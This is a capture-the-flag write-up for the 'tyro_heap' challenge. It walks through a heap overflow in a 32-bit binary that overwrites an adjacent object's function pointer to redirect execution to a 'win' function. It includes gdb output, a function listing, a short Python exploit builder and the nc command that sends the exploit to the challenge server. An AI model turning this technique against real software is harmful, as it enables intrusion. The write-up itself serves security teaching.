$ file tyro_heap_29d1e9341f35f395475bf16aa988e29b 
tyro_heap_29d1e9341f35f395475bf16aa988e29b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b9cc5866c5aacc7a4c92657f5c2b14a95eae68cb, not stripped

 

Looks like a nice 32-bit executable, symbols still intact. Given the name, this has something to do with exploiting a heap bug. Best thing to do is just play with the binary.

 

$ ./tyro_heap_29d1e9341f35f395475bf16aa988e29b 
Tyro Heap
Mon Aug  8 13:09:58 PDT 2016
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> c
object #0 created
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> a
object id ?: 0
give me input_a: BLERG
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> e
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> q

 

As is common with heap challenges, we have some way to create and modify heap objects. In this case, we can directly create a heap object on demand. We also have options to read information into those options. We can free it (a common vuln), as well as "run object function" which appears to run a method in the object to print out it's details.

 

Unlike buffer overflows where we can attempt to overwrite a return pointer, heap vulnerabilities have a tendency to not be so strait forward. A common problem is if you write a bunch of data into one object, which overwrites control data on the second, then free the second, you have the ability to control an arbitrary write. I thought that might be the case here, but was unable to get it to crash in this way.

 

Another common vulnerability is when you overwrite the method pointer for an object. In this case, we can tell by the description that "run object function" is running a function defined in this object. Obviously this is heavily implementation based, but if we can overwrite that pointer, we could directly control execution. Here's an example of what it would look like in memory:

 

Pre-Exploit
# Object 1
- print method pointer (4 bytes)
- Data (64 bytes)
# Object 2
- print method pointer (4 bytes)
- Data (64 bytes)

Post-Exploit
# Object 1
- print method pointer (4 bytes)
- "A"*64
# Object 2
- "A"*4
- Data (64 bytes)

 

What's happening here is that we are able to put data into the buffer for object 1. When we overflow it, it can leak into object two. Now, when we ask the program to run Object 2's method, instead of jumping to the proper code, it will jump to "AAAA". This is what this vulnerability turned out to be. Again, this was discovered just by trying different inputs and seeing what happens. I didn't ever statically analyze the code for this challenge.

 

Here's an example of a crashing run:

 

(gdb) r
Starting program: /home/user/openctf/tyro_heap/tyro_heap_29d1e9341f35f395475bf16aa988e29b
Tyro Heap
Mon Aug  8 13:21:30 PDT 2016
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> c                                      
object #0 created
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> c
object #1 created
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> b
object id ?: 0
give me input_b: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
got [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE]
c) create heap object
a) read type a into object
b) read type b into object
f) free object
e) run object function
q) quit
::> e
object id ?: 1

Program received signal SIGSEGV, Segmentation fault.
0x45444342 in ?? ()
(gdb)

 

Notice that this follows the same overflow method that i showed above. I created two objects, read in too much data into the first object's buffer, that overflowed into the second and overwrote the function pointer. Now, when i tell the program to run that function's method, I get execution at an address of my choosing.

 

Where do we go? Take a quick peek at the functions in the program:

 

[0x08048540]> afl
0x08048448    3 35           sym._init
0x08048480    2 16   -> 32   sym.imp.setbuf
0x08048490    2 16   -> 48   sym.imp.printf
0x080484a0    2 16   -> 48   sym.imp.free
0x080484b0    2 16   -> 48   sym.imp.getchar
0x080484c0    2 16   -> 48   sym.imp.alarm
0x080484d0    2 16   -> 48   sym.imp.malloc
0x080484e0    2 16   -> 48   sym.imp.puts
0x080484f0    2 16   -> 48   sym.imp.system
0x08048500    2 16   -> 48   loc.imp.__gmon_start__
0x08048510    2 16   -> 48   sym.imp.exit
0x08048520    2 16   -> 48   sym.imp.__libc_start_main
0x08048530    2 16   -> 48   sym.imp.__isoc99_scanf
0x08048540    1 34           entry0
0x08048570    1 4            sym.__x86.get_pc_thunk.bx
0x08048580    4 42           sym.deregister_tm_clones
0x080485b0    4 55           sym.register_tm_clones
0x080485f0    3 30           sym.__do_global_dtors_aux
0x08048610    4 45   -> 44   sym.frame_dummy
0x0804863d    1 35           sym.create_item
0x08048660    1 20           sym.win
0x08048674    1 39           sym.read_a
0x0804869b    5 116          sym.read_b
0x0804870f    1 24           sym.free_heap_obj
0x08048727    5 71           sym.get_choice
0x0804876e   18 482          sym.main
0x08048950    4 97           sym.__libc_csu_init
0x080489c0    1 2            sym.__libc_csu_fini
0x080489c4    1 20           sym._fini

 

There's one called win. Sounds good, let's go with that. It's at 0x8048660. All we need to do is replace our pointer ("BCDE") with the address of win. We do this with a couple lines of python:

 

from struct import pack
win = 0x8048660
exploit = "c\nc\nb\n0\n"
exploit += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + pack("<I",win)
exploit += "e\n1\n"
with open("exploit.bin","wb") as f:
    f.write(exploit)

 

Now we run it. We could use pwntools for this, but in this case I just used a little bash one-liner to cat out our exploit and then allow me to interact after the exploit:

 

$ (cat exploit.bin; cat -) | nc 172.31.1.35 1622

 

Easy day. Flag: Chihui_you_got_a_heap_challenge_honaho